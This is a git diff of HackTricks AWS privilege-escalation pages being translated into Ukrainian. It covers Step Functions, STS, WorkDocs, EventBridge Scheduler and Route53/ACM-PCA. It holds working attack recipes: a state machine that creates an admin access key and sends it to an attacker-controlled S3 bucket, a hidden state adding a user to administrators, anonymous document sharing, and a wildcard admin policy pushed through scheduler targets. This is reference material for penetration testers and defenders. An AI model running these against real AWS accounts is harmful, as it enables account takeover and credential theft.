інформації про цю службу AWS, перевірте: {{#ref}} ../aws-services/aws-stepfunctions-enum.md @@ -12,65 +12,58 @@ For more information about this AWS service, check: ### Task Resources -These privilege escalation techniques are going to require to use some AWS step function resources in order to perform the desired privilege escalation actions. +Ці техніки підвищення привілеїв вимагатимуть використання деяких ресурсів AWS step function для виконання бажаних дій підвищення привілеїв. -In order to check all the possible actions, you could go to your own AWS account select the action you would like to use and see the parameters it's using, like in: +Щоб перевірити всі можливі дії, ви можете перейти до свого облікового запису AWS, вибрати дію, яку ви хочете використовувати, і подивитися параметри, які вона використовує, як у:
-Or you could also go to the API AWS documentation and check each action docs: +Або ви також можете перейти до документації API AWS і перевірити документи кожної дії: - [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) - [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) ### `states:TestState` & `iam:PassRole` -An attacker with the **`states:TestState`** & **`iam:PassRole`** permissions can test any state and pass any IAM role to it without creating or updating an existing state machine, enabling unauthorized access to other AWS services with the roles' permissions. potentially. Combined, these permissions can lead to extensive unauthorized actions, from manipulating workflows to alter data to data breaches, resource manipulation, and privilege escalation. - +Зловмисник з дозволами **`states:TestState`** та **`iam:PassRole`** може тестувати будь-який стан і передавати будь-яку роль IAM без створення або оновлення існуючої машини станів, що дозволяє несанкціонований доступ до інших служб AWS з дозволами ролі. У поєднанні ці дозволи можуть призвести до широкомасштабних несанкціонованих дій, від маніпуляцій з робочими процесами до зміни даних, витоків даних, маніпуляцій з ресурсами та підвищення привілеїв. ```bash aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` - -The following examples show how to test an state that creates an access key for the **`admin`** user leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state to perform the **`iam:CreateAccessKey`** action: +Наступні приклади показують, як протестувати стан, який створює ключ доступу для користувача **`admin`**, використовуючи ці дозволи та дозволену роль середовища AWS. Ця дозволена роль повинна мати будь-яку політику з високими привілеями, асоційовану з нею (наприклад, **`arn:aws:iam::aws:policy/AdministratorAccess`**), яка дозволяє стану виконувати дію **`iam:CreateAccessKey`**: - **stateDefinition.json**: - ```json { - "Type": "Task", - "Parameters": { - "UserName": "admin" - }, - "Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", - "End": true +"Type": "Task", +"Parameters": { +"UserName": "admin" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"End": true } ``` - -- **Command** executed to perform the privesc: - +- **Команда** виконана для виконання підвищення привілеїв: ```bash aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole { - "output": "{ - \"AccessKey\":{ - \"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", - \"CreateDate\":\"2024-07-09T16:59:11Z\", - \"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", - \"Status\":\"Active\", - \"UserName\":\"admin\" - } - }", - "status": "SUCCEEDED" +"output": "{ +\"AccessKey\":{ +\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", +\"CreateDate\":\"2024-07-09T16:59:11Z\", +\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", +\"Status\":\"Active\", +\"UserName\":\"admin\" +} +}", +"status": "SUCCEEDED" } ``` - -**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches. +**Потенційний вплив**: Несанкціоноване виконання та маніпуляція робочими процесами та доступ до чутливих ресурсів, що може призвести до значних порушень безпеки. ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -An attacker with the **`states:CreateStateMachine`**& **`iam:PassRole`** would be able to create an state machine and provide to it any IAM role, enabling unauthorized access to other AWS services with the roles' permissions. In contrast with the previous privesc technique (**`states:TestState`** & **`iam:PassRole`**), this one does not execute by itself, you will also need to have the **`states:StartExecution`** or **`states:StartSyncExecution`** permissions (**`states:StartSyncExecution`** is **not available for standard workflows**, **just to express state machines**) in order to start and execution over the state machine. - +Зловмисник з **`states:CreateStateMachine`** та **`iam:PassRole`** зможе створити машину станів і надати їй будь-яку IAM роль, що дозволить несанкціонований доступ до інших сервісів AWS з дозволами цієї ролі. На відміну від попередньої техніки підвищення привілеїв (**`states:TestState`** & **`iam:PassRole`**), ця не виконується сама по собі, вам також потрібно мати дозволи **`states:StartExecution`** або **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **не доступна для стандартних робочих процесів**, **тільки для виражених машин станів**) для того, щоб розпочати виконання над машиною станів. ```bash # Create a state machine aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ @@ -82,176 +75,157 @@ aws states start-execution --state-machine-arn [--name ] [--input # Start a Synchronous Express state machine execution aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] ``` - -The following examples show how to create an state machine that creates an access key for the **`admin`** user and exfiltrates this access key to an attacker-controlled S3 bucket, leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state machine to perform the **`iam:CreateAccessKey`** & **`s3:putObject`** actions. +Наступні приклади показують, як створити машину станів, яка створює ключ доступу для користувача **`admin`** та ексфільтрує цей ключ доступу до S3 бакету, контрольованого зловмисником, використовуючи ці дозволи та поблажливу роль середовища AWS. Ця поблажлива роль повинна мати будь-яку політику з високими привілеями, пов'язану з нею (наприклад, **`arn:aws:iam::aws:policy/AdministratorAccess`**), яка дозволяє машині станів виконувати дії **`iam:CreateAccessKey`** та **`s3:putObject`**. - **stateMachineDefinition.json**: - ```json { - "Comment": "Malicious state machine to create IAM access key and upload to S3", - "StartAt": "CreateAccessKey", - "States": { - "CreateAccessKey": { - "Type": "Task", - "Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", - "Parameters": { - "UserName": "admin" - }, - "ResultPath": "$.AccessKeyResult", - "Next": "PrepareS3PutObject" - }, - "PrepareS3PutObject": { - "Type": "Pass", - "Parameters": { - "Body.$": "$.AccessKeyResult.AccessKey", - "Bucket": "attacker-controlled-S3-bucket", - "Key": "AccessKey.json" - }, - "ResultPath": "$.S3PutObjectParams", - "Next": "PutObject" - }, - "PutObject": { - "Type": "Task", - "Resource": "arn:aws:states:::aws-sdk:s3:putObject", - "Parameters": { - "Body.$": "$.S3PutObjectParams.Body", - "Bucket.$": "$.S3PutObjectParams.Bucket", - "Key.$": "$.S3PutObjectParams.Key" - }, - "End": true - } - } +"Comment": "Malicious state machine to create IAM access key and upload to S3", +"StartAt": "CreateAccessKey", +"States": { +"CreateAccessKey": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"Parameters": { +"UserName": "admin" +}, +"ResultPath": "$.AccessKeyResult", +"Next": "PrepareS3PutObject" +}, +"PrepareS3PutObject": { +"Type": "Pass", +"Parameters": { +"Body.$": "$.AccessKeyResult.AccessKey", +"Bucket": "attacker-controlled-S3-bucket", +"Key": "AccessKey.json" +}, +"ResultPath": "$.S3PutObjectParams", +"Next": "PutObject" +}, +"PutObject": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:s3:putObject", +"Parameters": { +"Body.$": "$.S3PutObjectParams.Body", +"Bucket.$": "$.S3PutObjectParams.Bucket", +"Key.$": "$.S3PutObjectParams.Key" +}, +"End": true +} +} } ``` - -- **Command** executed to **create the state machine**: - +- **Команда** виконана для **створення машини станів**: ```bash aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole { - "stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", - "creationDate": "2024-07-09T20:29:35.381000+02:00" +"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", +"creationDate": "2024-07-09T20:29:35.381000+02:00" } ``` - -- **Command** executed to **start an execution** of the previously created state machine: - +- **Команда** виконана для **початку виконання** раніше створеної машини станів: ```json aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine { - "executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", - "startDate": "2024-07-09T20:33:35.466000+02:00" +"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"startDate": "2024-07-09T20:33:35.466000+02:00" } ``` - > [!WARNING] -> The attacker-controlled S3 bucket should have permissions to accept an s3:PutObject action from the victim account. +> Контрольований атакуючим S3 бакет повинен мати дозволи на прийняття дії s3:PutObject з облікового запису жертви. -**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches. +**Потенційний вплив**: Неавторизоване виконання та маніпуляція робочими процесами та доступ до чутливих ресурсів, що може призвести до значних порушень безпеки. -### `states:UpdateStateMachine` & (not always required) `iam:PassRole` +### `states:UpdateStateMachine` & (не завжди необхідно) `iam:PassRole` -An attacker with the **`states:UpdateStateMachine`** permission would be able to modify the definition of an state machine, being able to add extra stealthy states that could end in a privilege escalation. This way, when a legitimate user starts an execution of the state machine, this new malicious stealth state will be executed and the privilege escalation will be successful. +Атакуючий з дозволом **`states:UpdateStateMachine`** зможе змінити визначення машини станів, маючи можливість додати додаткові приховані стани, які можуть призвести до ескалації привілеїв. Таким чином, коли легітимний користувач запускає виконання машини станів, цей новий шкідливий прихований стан буде виконано, і ескалація привілеїв буде успішною. -Depending on how permissive is the IAM Role associated to the state machine is, an attacker would face 2 situations: - -1. **Permissive IAM Role**: If the IAM Role associated to the state machine is already permissive (it has for example the **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached), then the **`iam:PassRole`** permission would not be required in order to escalate privileges since it would not be necessary to also update the IAM Role, with the state machine definition is enough. -2. **Not permissive IAM Role**: In contrast with the previous case, here an attacker would also require the **`iam:PassRole`** permission since it would be necessary to associate a permissive IAM Role to the state machine in addition to modify the state machine definition. +Залежно від того, наскільки дозволяючою є роль IAM, асоційована з машиною станів, атакуючий зіткнеться з 2 ситуаціями: +1. **Дозволяюча роль IAM**: Якщо роль IAM, асоційована з машиною станів, вже є дозволяючою (вона має, наприклад, прикріплену політику **`arn:aws:iam::aws:policy/AdministratorAccess`**), тоді дозвіл **`iam:PassRole`** не буде необхідним для ескалації привілеїв, оскільки не буде необхідності також оновлювати роль IAM, визначення машини станів буде достатнім. +2. **Недозволяюча роль IAM**: На відміну від попереднього випадку, тут атакуючий також вимагатиме дозвіл **`iam:PassRole`**, оскільки буде необхідно асоціювати дозволяючу роль IAM з машиною станів, крім того, щоб змінити визначення машини станів. ```bash aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] ``` - -The following examples show how to update a legit state machine that just invokes a HelloWorld Lambda function, in order to add an extra state that adds the user **`unprivilegedUser`** to the **`administrator`** IAM Group. This way, when a legitimate user starts an execution of the updated state machine, this new malicious stealth state will be executed and the privilege escalation will be successful. +Наступні приклади показують, як оновити легітимну машину станів, яка просто викликає функцію Lambda HelloWorld, щоб додати додатковий стан, який додає користувача **`unprivilegedUser`** до групи IAM **`administrator`**. Таким чином, коли легітимний користувач запускає виконання оновленої машини станів, цей новий шкідливий прихований стан буде виконано, і ескалація привілеїв буде успішною. > [!WARNING] -> If the state machine does not have a permissive IAM Role associated, it would also be required the **`iam:PassRole`** permission to update the IAM Role in order to associate a permissive IAM Role (for example one with the **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached). +> Якщо машина станів не має асоційованої дозволеної IAM ролі, також буде потрібен дозвіл **`iam:PassRole`** для оновлення IAM ролі, щоб асоціювати дозволену IAM роль (наприклад, одну з прикріпленою політикою **`arn:aws:iam::aws:policy/AdministratorAccess`**). {{#tabs }} {{#tab name="Legit State Machine" }} - ```json { - "Comment": "Hello world from Lambda state machine", - "StartAt": "Start PassState", - "States": { - "Start PassState": { - "Type": "Pass", - "Next": "LambdaInvoke" - }, - "LambdaInvoke": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "Parameters": { - "FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" - }, - "Next": "End PassState" - }, - "End PassState": { - "Type": "Pass", - "End": true - } - } +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "End PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} } ``` - {{#endtab }} -{{#tab name="Malicious Updated State Machine" }} - +{{#tab name="Зловмисна оновлена машина станів" }} ```json { - "Comment": "Hello world from Lambda state machine", - "StartAt": "Start PassState", - "States": { - "Start PassState": { - "Type": "Pass", - "Next": "LambdaInvoke" - }, - "LambdaInvoke": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "Parameters": { - "FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" - }, - "Next": "AddUserToGroup" - }, - "AddUserToGroup": { - "Type": "Task", - "Parameters": { - "GroupName": "administrator", - "UserName": "unprivilegedUser" - }, - "Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", - "Next": "End PassState" - }, - "End PassState": { - "Type": "Pass", - "End": true - } - } +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "AddUserToGroup" +}, +"AddUserToGroup": { +"Type": "Task", +"Parameters": { +"GroupName": "administrator", +"UserName": "unprivilegedUser" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", +"Next": "End PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} } ``` - {{#endtab }} {{#endtabs }} -- **Command** executed to **update** **the legit state machine**: - +- **Команда**, виконана для **оновлення** **легітимної машини станів**: ```bash aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json { - "updateDate": "2024-07-10T20:07:10.294000+02:00", - "revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +"updateDate": "2024-07-10T20:07:10.294000+02:00", +"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` - -**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches. +**Потенційний вплив**: Несанкціоноване виконання та маніпуляція робочими процесами та доступ до чутливих ресурсів, що може призвести до значних порушень безпеки. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md index 782bcc237..738ea7fb2 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md @@ -6,121 +6,101 @@ ### `sts:AssumeRole` -Every role is created with a **role trust policy**, this policy indicates **who can assume the created role**. If a role from the **same account** says that an account can assume it, it means that the account will be able to access the role (and potentially **privesc**). - -For example, the following role trust policy indicates that anyone can assume it, therefore **any user will be able to privesc** to the permissions associated with that role. +Кожна роль створюється з **політикою довіри ролі**, ця політика вказує **хто може прийняти створену роль**. Якщо роль з **того ж облікового запису** говорить, що обліковий запис може її прийняти, це означає, що обліковий запис зможе отримати доступ до ролі (і потенційно **privesc**). +Наприклад, наступна політика довіри ролі вказує, що будь-хто може її прийняти, отже, **будь-який користувач зможе privesc** до дозволів, пов'язаних з цією роллю. ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] } ``` - -You can impersonate a role running: - +Ви можете видавати себе за роль, виконавши: ```bash aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname ``` - -**Potential Impact:** Privesc to the role. +**Потенційний вплив:** Привілейоване підвищення до ролі. > [!CAUTION] -> Note that in this case the permission `sts:AssumeRole` needs to be **indicated in the role to abuse** and not in a policy belonging to the attacker.\ -> With one exception, in order to **assume a role from a different account** the attacker account **also needs** to have the **`sts:AssumeRole`** over the role. +> Зверніть увагу, що в цьому випадку дозвіл `sts:AssumeRole` потрібно **вказати в ролі для зловживання** і не в політиці, що належить атакуючому.\ +> З одним винятком, для того щоб **прийняти роль з іншого облікового запису**, обліковий запис атакуючого **також повинен** мати **`sts:AssumeRole`** над роллю. ### **`sts:GetFederationToken`** -With this permission it's possible to generate credentials to impersonate any user: - +З цим дозволом можливо згенерувати облікові дані для імітації будь-якого користувача: ```bash aws sts get-federation-token --name ``` - -This is how this permission can be given securely without giving access to impersonate other users: - +Це те, як цю дозволу можна надати безпечно, не надаючи доступу до імітації інших користувачів: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "VisualEditor0", - "Effect": "Allow", - "Action": "sts:GetFederationToken", - "Resource": "arn:aws:sts::947247140022:federated-user/${aws:username}" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "VisualEditor0", +"Effect": "Allow", +"Action": "sts:GetFederationToken", +"Resource": "arn:aws:sts::947247140022:federated-user/${aws:username}" +} +] } ``` - ### `sts:AssumeRoleWithSAML` -A trust policy with this role grants **users authenticated via SAML access to impersonate the role.** - -An example of a trust policy with this permission is: +Політика довіри з цією роллю надає **користувачам, аутентифікованим через SAML, доступ до імітації ролі.** +Приклад політики довіри з цим дозволом: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "OneLogin", - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" - }, - "Action": "sts:AssumeRoleWithSAML", - "Condition": { - "StringEquals": { - "SAML:aud": "https://signin.aws.amazon.com/saml" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "OneLogin", +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" +}, +"Action": "sts:AssumeRoleWithSAML", +"Condition": { +"StringEquals": { +"SAML:aud": "https://signin.aws.amazon.com/saml" +} +} +} +] } ``` - -To generate credentials to impersonate the role in general you could use something like: - +Щоб згенерувати облікові дані для імітації ролі, ви можете використовувати щось на зразок: ```bash aws sts assume-role-with-saml --role-arn --principal-arn ``` - -But **providers** might have their **own tools** to make this easier, like [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): - +Але **постачальники** можуть мати **свої інструменти**, щоб спростити це, такі як [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): ```bash onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 ``` - -**Potential Impact:** Privesc to the role. +**Потенційний вплив:** Privesc до ролі. ### `sts:AssumeRoleWithWebIdentity` -This permission grants permission to obtain a set of temporary security credentials for **users who have been authenticated in a mobile, web application, EKS...** with a web identity provider. [Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) - -For example, if an **EKS service account** should be able to **impersonate an IAM role**, it will have a token in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** and can **assume the role and get credentials** doing something like: +Ця дозволяє отримати набір тимчасових облікових даних безпеки для **користувачів, які були автентифіковані в мобільному, веб-додатку, EKS...** з постачальником веб-ідентифікації. [Дізнайтеся більше тут.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) +Наприклад, якщо **обліковий запис служби EKS** повинен мати можливість **видавати себе за IAM роль**, він матиме токен у **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** і може **взяти на себе роль і отримати облікові дані**, виконавши щось на зразок: ```bash aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token # The role name can be found in the metadata of the configuration of the pod ``` - -### Federation Abuse +### Зловживання федерацією {{#ref}} ../aws-basic-information/aws-federation-abuse.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md index 4b1e5e7e9..b05c5aaf6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md @@ -2,7 +2,7 @@ ## WorkDocs -For more info about WorkDocs check: +Для отримання додаткової інформації про WorkDocs перегляньте: {{#ref}} ../aws-services/aws-directory-services-workdocs-enum.md @@ -10,17 +10,14 @@ For more info about WorkDocs check: ### `workdocs:CreateUser` -Create a user inside the Directory indicated, then you will have access to both WorkDocs and AD: - +Створіть користувача в зазначеному каталозі, тоді ви отримаєте доступ як до WorkDocs, так і до AD: ```bash # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id ``` - ### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)` -The files might contain sensitive information, read them: - +Файли можуть містити чутливу інформацію, прочитайте їх: ```bash # Get what was created in the directory aws workdocs describe-activities --organization-id @@ -31,26 +28,19 @@ aws workdocs describe-activities --user-id "S-1-5-21-377..." # Get file (a url to access with the content will be retreived) aws workdocs get-document --document-id ``` - ### `workdocs:AddResourcePermissions` -If you don't have access to read something, you can just grant it - +Якщо у вас немає доступу до читання чогось, ви можете просто надати його ```bash # Add permission so anyway can see the file aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER ## This will give an id, the file will be acesible in: https://.awsapps.com/workdocs/index.html#/share/document/ ``` - ### `workdocs:AddUserToGroup` -You can make a user admin by setting it in the group ZOCALO_ADMIN.\ -For that follow the instructions from [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) - -Login with that user in workdoc and access the admin panel in `/workdocs/index.html#/admin` - -I didn't find any way to do this from the cli. - - +Ви можете зробити користувача адміністратором, додавши його до групи ZOCALO_ADMIN.\ +Для цього дотримуйтесь інструкцій з [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) +Увійдіть з цим користувачем у workdoc і отримайте доступ до панелі адміністратора за адресою `/workdocs/index.html#/admin` +Я не знайшов жодного способу зробити це з cli. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md index 1519df70f..afb4fcc3a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md @@ -4,7 +4,7 @@ ## EventBridge Scheduler -More info EventBridge Scheduler in: +Більше інформації про EventBridge Scheduler у: {{#ref}} ../aws-services/eventbridgescheduler-enum.md @@ -12,42 +12,34 @@ More info EventBridge Scheduler in: ### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`) -An attacker with those permissions will be able to **`create`|`update` an scheduler and abuse the permissions of the scheduler role** attached to it to perform any action - -For example, they could configure the schedule to **invoke a Lambda function** which is a templated action: +Зловмисник з цими дозволами зможе **`створити`|`оновити` розклад і зловживати дозволами ролі розкладу**, що прикріплена до нього, щоб виконати будь-яку дію +Наприклад, вони можуть налаштувати розклад для **виклику функції Lambda**, що є шаблонною дією: ```bash aws scheduler create-schedule \ - --name MyLambdaSchedule \ - --schedule-expression "rate(5 minutes)" \ - --flexible-time-window "Mode=OFF" \ - --target '{ - "Arn": "arn:aws:lambda:::function:", - "RoleArn": "arn:aws:iam:::role/" - }' +--name MyLambdaSchedule \ +--schedule-expression "rate(5 minutes)" \ +--flexible-time-window "Mode=OFF" \ +--target '{ +"Arn": "arn:aws:lambda:::function:", +"RoleArn": "arn:aws:iam:::role/" +}' ``` - -In addition to templated service actions, you can use **universal targets** in EventBridge Scheduler to invoke a wide range of API operations for many AWS services. Universal targets offer flexibility to invoke almost any API. One example can be using universal targets adding "**AdminAccessPolicy**", using a role that has "**putRolePolicy**" policy: - +На додаток до шаблонних дій сервісу, ви можете використовувати **універсальні цілі** в EventBridge Scheduler для виклику широкого спектра API-операцій для багатьох сервісів AWS. Універсальні цілі пропонують гнучкість для виклику майже будь-якого API. Один з прикладів може бути використання універсальних цілей для додавання "**AdminAccessPolicy**", використовуючи роль, яка має політику "**putRolePolicy**": ```bash aws scheduler create-schedule \ - --name GrantAdminToTargetRoleSchedule \ - --schedule-expression "rate(5 minutes)" \ - --flexible-time-window "Mode=OFF" \ - --target '{ - "Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy", - "RoleArn": "arn:aws:iam:::role/RoleWithPutPolicy", - "Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}" - }' +--name GrantAdminToTargetRoleSchedule \ +--schedule-expression "rate(5 minutes)" \ +--flexible-time-window "Mode=OFF" \ +--target '{ +"Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy", +"RoleArn": "arn:aws:iam:::role/RoleWithPutPolicy", +"Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}" +}' ``` - -## References +## Посилання - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html) - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md index fc3563ce7..526efaea6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -For more information about Route53 check: +Для отримання додаткової інформації про Route53 дивіться: {{#ref}} ../aws-services/aws-route53-enum.md @@ -11,26 +11,22 @@ For more information about Route53 check: ### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` > [!NOTE] -> To perform this attack the target account must already have an [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** setup in the account, and EC2 instances in the VPC(s) must have already imported the certificates to trust it. With this infrastructure in place, the following attack can be performed to intercept AWS API traffic. +> Щоб виконати цю атаку, цільовий обліковий запис повинен вже мати [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** налаштований в обліковому записі, а EC2 інстанси у VPC(ах) повинні вже імпортувати сертифікати для довіри до нього. З цією інфраструктурою можна виконати наступну атаку для перехоплення трафіку AWS API. -Other permissions **recommend but not required for the enumeration** part: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` +Інші дозволи **рекомендуються, але не є обов'язковими для частини перерахування**: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` -Assuming there is an AWS VPC with multiple cloud-native applications talking to each other and to AWS API. Since the communication between the microservices is often TLS encrypted there must be a private CA to issue the valid certificates for those services. **If ACM-PCA is 